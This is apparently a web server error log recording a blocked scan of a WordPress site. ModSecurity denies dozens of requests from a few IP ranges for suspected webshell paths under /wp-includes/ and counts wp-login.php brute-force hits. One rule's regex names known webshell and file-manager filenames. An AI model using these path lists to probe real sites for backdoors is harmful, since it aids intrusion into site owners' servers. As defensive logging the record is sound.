[Mon Mar 02 19:19:43.707743 2026] [:error] [pid 59601:tid 59641] [client 45.8.17.98:41837] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaVyT8Q1lXfvWN0-ZQl8uQAAAEM"]
[Mon Mar 02 19:19:44.323967 2026] [:error] [pid 59602:tid 59669] [client 45.8.17.66:51125] [client 45.8.17.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaVyUDMtSo_Fr0lHnSY82AAAAIQ"]
[Mon Mar 02 19:19:44.970164 2026] [:error] [pid 59601:tid 59646] [client 45.8.17.81:58069] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaVyUMQ1lXfvWN0-ZQl8wQAAAEg"]
[Mon Mar 02 19:19:46.022497 2026] [:error] [pid 28847:tid 28864] [client 45.8.17.71:41707] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaVyUp9xbBq8VfeqVDbvIQAAAM8"]
[Mon Mar 02 19:19:46.833733 2026] [:error] [pid 59701:tid 59711] [client 45.8.17.100:24461] [client 45.8.17.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaVyUuUmTDVso96U9_K81AAAAQc"]
[Mon Mar 02 19:19:48.869861 2026] [:error] [pid 59600:tid 59625] [client 45.8.17.85:48141] [client 45.8.17.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaVyVIQ5lE4yocV9IBcgLwAAABA"]
[Mon Mar 02 19:19:49.763601 2026] [:error] [pid 28847:tid 28864] [client 45.8.17.89:65359] [client 45.8.17.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaVyVZ9xbBq8VfeqVDbvKwAAAM8"]
[Mon Mar 02 19:19:51.339050 2026] [:error] [pid 59601:tid 59658] [client 45.8.17.78:39373] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaVyV8Q1lXfvWN0-ZQl8yAAAAFQ"]
[Mon Mar 02 19:19:52.523194 2026] [:error] [pid 59601:tid 59645] [client 45.8.17.88:23475] [client 45.8.17.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaVyWMQ1lXfvWN0-ZQl8zQAAAEc"]
[Mon Mar 02 19:19:53.835895 2026] [:error] [pid 59734:tid 59738] [client 45.8.17.80:30139] [client 45.8.17.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaVyWZeWQx7ZQG9NybEHqQAAAUI"]
[Mon Mar 02 19:19:55.147952 2026] [:error] [pid 28847:tid 28865] [client 45.8.17.66:22023] [client 45.8.17.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaVyW59xbBq8VfeqVDbvOgAAANA"]
[Mon Mar 02 19:19:56.931155 2026] [:error] [pid 59602:tid 59670] [client 45.8.17.205:42039] [client 45.8.17.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaVyXDMtSo_Fr0lHnSY87wAAAIU"]
[Mon Mar 02 19:19:58.963270 2026] [:error] [pid 28847:tid 28859] [client 45.8.17.111:27895] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaVyXp9xbBq8VfeqVDbvQwAAAMo"]
[Mon Mar 02 19:20:00.041306 2026] [:error] [pid 59601:tid 59644] [client 45.8.17.93:46331] [client 45.8.17.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaVyYMQ1lXfvWN0-ZQl84QAAAEY"]
[Mon Mar 02 19:20:06.772201 2026] [:error] [pid 59734:tid 59738] [client 45.8.17.54:52957] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaVyZpeWQx7ZQG9NybEHxwAAAUI"]
[Mon Mar 02 19:20:08.413007 2026] [:error] [pid 28847:tid 28864] [client 45.8.17.81:37331] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaVyaJ9xbBq8VfeqVDbvcQAAAM8"]
[Mon Mar 02 19:20:09.041093 2026] [:error] [pid 28847:tid 28849] [client 45.8.17.72:38739] [client 45.8.17.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.72, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaVyaZ9xbBq8VfeqVDbveQAAAMA"]
[Mon Mar 02 19:20:09.875621 2026] [:error] [pid 28847:tid 28853] [client 45.8.17.72:38739] [client 45.8.17.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaVyaZ9xbBq8VfeqVDbvgAAAAMQ"]
[Mon Mar 02 19:20:11.169341 2026] [:error] [pid 28847:tid 28857] [client 45.128.199.57:20037] [client 45.128.199.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaVya59xbBq8VfeqVDbvkQAAAMg"]
[Mon Mar 02 19:20:11.795935 2026] [:error] [pid 28847:tid 28862] [client 45.8.17.50:32739] [client 45.8.17.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaVya59xbBq8VfeqVDbvkgAAAM0"]
[Mon Mar 02 19:20:15.169440 2026] [:error] [pid 28847:tid 28860] [client 45.8.17.97:30639] [client 45.8.17.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaVyb59xbBq8VfeqVDbvowAAAMs"]
[Mon Mar 02 19:20:15.862701 2026] [:error] [pid 59701:tid 59707] [client 45.8.17.245:63541] [client 45.8.17.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aaVyb-UmTDVso96U9_K9AgAAAQM"]
[Mon Mar 02 19:20:18.327579 2026] [:error] [pid 59734:tid 59740] [client 45.8.17.75:24721] [client 45.8.17.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaVycpeWQx7ZQG9NybEH1AAAAUQ"]
[Mon Mar 02 19:20:19.737297 2026] [proxy_fcgi:error] [pid 59602:tid 59682] [client 45.8.17.83:34109] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:20:21.401206 2026] [:error] [pid 59602:tid 59670] [client 45.8.17.83:34109] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaVydTMtSo_Fr0lHnSY9HQAAAIU"]
[Mon Mar 02 19:20:22.082500 2026] [:error] [pid 28847:tid 28855] [client 45.8.17.238:51645] [client 45.8.17.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaVydp9xbBq8VfeqVDbvtAAAAMY"]
[Mon Mar 02 19:20:24.120334 2026] [:error] [pid 59602:tid 59688] [client 45.8.17.85:49519] [client 45.8.17.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaVyeDMtSo_Fr0lHnSY9JwAAAJc"]
[Mon Mar 02 19:20:24.744341 2026] [:error] [pid 28847:tid 28861] [client 45.8.17.67:37221] [client 45.8.17.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaVyeJ9xbBq8VfeqVDbv0gAAAMw"]
[Mon Mar 02 19:20:27.933618 2026] [:error] [pid 59734:tid 59752] [client 45.8.17.238:64257] [client 45.8.17.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaVye5eWQx7ZQG9NybEH7AAAAVA"]
[Mon Mar 02 19:20:28.547882 2026] [:error] [pid 59602:tid 59678] [client 45.8.17.143:20329] [client 45.8.17.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaVyfDMtSo_Fr0lHnSY9PAAAAI0"]
[Mon Mar 02 19:20:30.662803 2026] [:error] [pid 59600:tid 59630] [client 45.128.199.146:45285] [client 45.128.199.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaVyfoQ5lE4yocV9IBcgqAAAABU"]
[Mon Mar 02 19:20:31.264988 2026] [:error] [pid 59602:tid 59678] [client 45.8.17.198:59955] [client 45.8.17.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaVyfzMtSo_Fr0lHnSY9RAAAAI0"]
[Mon Mar 02 19:20:32.077886 2026] [:error] [pid 59601:tid 59652] [client 45.8.17.83:27501] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaVygMQ1lXfvWN0-ZQl9BQAAAE4"]
[Mon Mar 02 19:20:35.103912 2026] [:error] [pid 59600:tid 59609] [client 45.8.17.87:56183] [client 45.8.17.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaVyg4Q5lE4yocV9IBcgvwAAAAA"]
[Mon Mar 02 19:20:36.080729 2026] [:error] [pid 59602:tid 59676] [client 45.8.17.74:59033] [client 45.8.17.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaVyhDMtSo_Fr0lHnSY9VgAAAIs"]
[Mon Mar 02 19:20:39.502155 2026] [:error] [pid 28847:tid 28853] [client 45.8.17.245:21271] [client 45.8.17.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.245, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aaVyh59xbBq8VfeqVDbv9QAAAMQ"]
[Mon Mar 02 19:20:42.097638 2026] [:error] [pid 28847:tid 28867] [client 45.8.17.245:21271] [client 45.8.17.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aaVyip9xbBq8VfeqVDbv_gAAANI"]
[Mon Mar 02 19:20:42.774150 2026] [:error] [pid 28847:tid 28849] [client 45.8.17.70:40417] [client 45.8.17.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.70, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaVyip9xbBq8VfeqVDbwAAAAAMA"]
[Mon Mar 02 19:20:46.372783 2026] [proxy_fcgi:error] [pid 28847:tid 28867] [client 45.8.17.70:40417] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:20:52.460589 2026] [:error] [pid 28847:tid 28850] [client 45.8.17.70:40417] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaVylJ9xbBq8VfeqVDbwOgAAAME"]
[Mon Mar 02 19:20:55.328779 2026] [:error] [pid 59600:tid 59622] [client 45.128.199.210:61579] [client 45.128.199.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaVyl4Q5lE4yocV9IBcg8AAAAA0"]
[Mon Mar 02 19:20:56.846133 2026] [:error] [pid 59602:tid 59666] [client 45.8.17.86:54997] [client 45.8.17.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaVymDMtSo_Fr0lHnSY9qQAAAIE"]
[Mon Mar 02 19:21:01.160772 2026] [:error] [pid 28847:tid 28863] [client 45.8.17.79:32809] [client 45.8.17.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaVynZ9xbBq8VfeqVDbwYwAAAM4"]
[Mon Mar 02 19:21:02.735249 2026] [:error] [pid 59701:tid 59717] [client 45.8.17.205:59655] [client 45.8.17.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaVynuUmTDVso96U9_K9LAAAAQ0"]
[Mon Mar 02 19:21:04.183836 2026] [:error] [pid 28847:tid 28855] [client 45.8.17.50:35993] [client 45.8.17.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaVyoJ9xbBq8VfeqVDbwbQAAAMY"]
[Mon Mar 02 19:21:06.440656 2026] [proxy_fcgi:error] [pid 28847:tid 28852] [client 45.8.17.54:58839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:21:06.844371 2026] [proxy_fcgi:error] [pid 28847:tid 28856] [client 45.8.17.54:58839] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:21:07.175857 2026] [:error] [pid 28847:tid 28850] [client 45.8.17.54:58839] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaVyo59xbBq8VfeqVDbwfwAAAME"]
[Mon Mar 02 19:21:07.849246 2026] [:error] [pid 28847:tid 28870] [client 45.128.199.146:22345] [client 45.128.199.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaVyo59xbBq8VfeqVDbwhAAAANU"]
[Mon Mar 02 19:21:11.926157 2026] [:error] [pid 28847:tid 28849] [client 45.8.17.76:25323] [client 45.8.17.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaVyp59xbBq8VfeqVDbwnwAAAMA"]
[Mon Mar 02 19:21:12.914322 2026] [:error] [pid 28847:tid 28857] [client 45.8.17.88:21665] [client 45.8.17.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aaVyqJ9xbBq8VfeqVDbwpAAAAMg"]
[Mon Mar 02 19:21:15.685608 2026] [:error] [pid 28847:tid 28867] [client 45.8.17.67:40759] [client 45.8.17.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaVyq59xbBq8VfeqVDbwswAAANI"]
[Mon Mar 02 19:21:19.109388 2026] [:error] [pid 59600:tid 59610] [client 45.8.17.50:60287] [client 45.8.17.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaVyr4Q5lE4yocV9IBchGQAAAAE"]
[Mon Mar 02 19:21:19.745875 2026] [proxy_fcgi:error] [pid 59602:tid 59676] [client 45.8.17.77:63215] AH01071: Got error 'Primary script unknown'
